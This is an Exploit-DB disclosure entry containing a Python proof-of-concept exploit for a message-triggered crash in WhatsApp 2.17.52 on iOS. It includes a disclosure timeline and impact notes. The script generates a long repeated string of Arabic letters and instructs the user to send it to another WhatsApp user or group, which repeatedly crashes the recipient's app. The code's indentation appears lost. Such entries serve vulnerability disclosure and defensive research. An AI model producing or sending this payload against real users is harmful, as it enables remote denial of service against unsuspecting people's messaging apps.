WhatsApp 2.17.52 - Memory Corruption

EDB-ID: 43107
Author: Juan Sacco
Published: 2017-11-01
CVE: N/A
Type: Dos
Platform: iOS
Vulnerable App: N/A

 # -*- coding: utf-8 -*- 
# Found this and more exploits on my open source security project: http://www.exploitpack.com
# Exploit Author: Juan Sacco <[email protected]> at KPN Red Team - http://www.kpn.com
# Date and time of release: 11 October 2017
#
# Tested on: iPhone 5/6s iOS 10.3.3 and 11
#
# Description:
# WhatsApp 2.17.52 and prior is prone to a remote memory corruption.
# This type of attacks are possible if the program uses memory inefficiently and does not impose limits on the amount of state used when necessary.
#
# Impact:
# Resource exhaustion attacks exploit a design deficiency. An attacker could exploit this vulnerability to remotely corrupt the memory of the application forcing an uhandled exception
# in the context of the application that could potentially result in a denial-of-service condition and/or remote memory corruption.
#
# Warning note:
# Once a user receives the offending message it will automatically crash the application and if its restarted it will crash again until the message its manually removed from the user's history.
#
# Timeline:
# 09/13/2017 - Research started
# 09/13/2017 - First proof of concept
# 09/15/2017 - Reported to Whatsapp
# 09/20/2017 - Report Triaged by Facebook
# 11/01/2017 - Facebook never replied back with a status fix
# 11/01/2017 - Disclosure as zero day
# Vendor homepage: http://www.whatsapp.com
import sys
reload(sys)

def whatsapp(filename):
sys.setdefaultencoding("utf-8")
payload = u'ب ة ت ث ج ح خ د ذ ر ز س ش ص ض ط ظ ع غ ف ق ك ل م ن' * 1337
sutf8 = payload.encode('UTF-8')
print "[*] Writing to file: " + filename
open(filename, 'w').write(payload)
print "[*] Done."

def howtouse():
print "Usage: whatsapp.py [FILENAME]"
print "[*] Mandatory arguments:"
print "[-] FILENAME"
sys.exit(-1)

if __name__ == "__main__":
try:
print "[*] WhatsApp 2.17.52 iOS - Remote memory corruption by Juan Sacco"
print "[*] How to use: Copy the content of the file and send it as a message to another whatsapp user or group"
whatsapp(sys.argv[1])
except IndexError:
howtouse()

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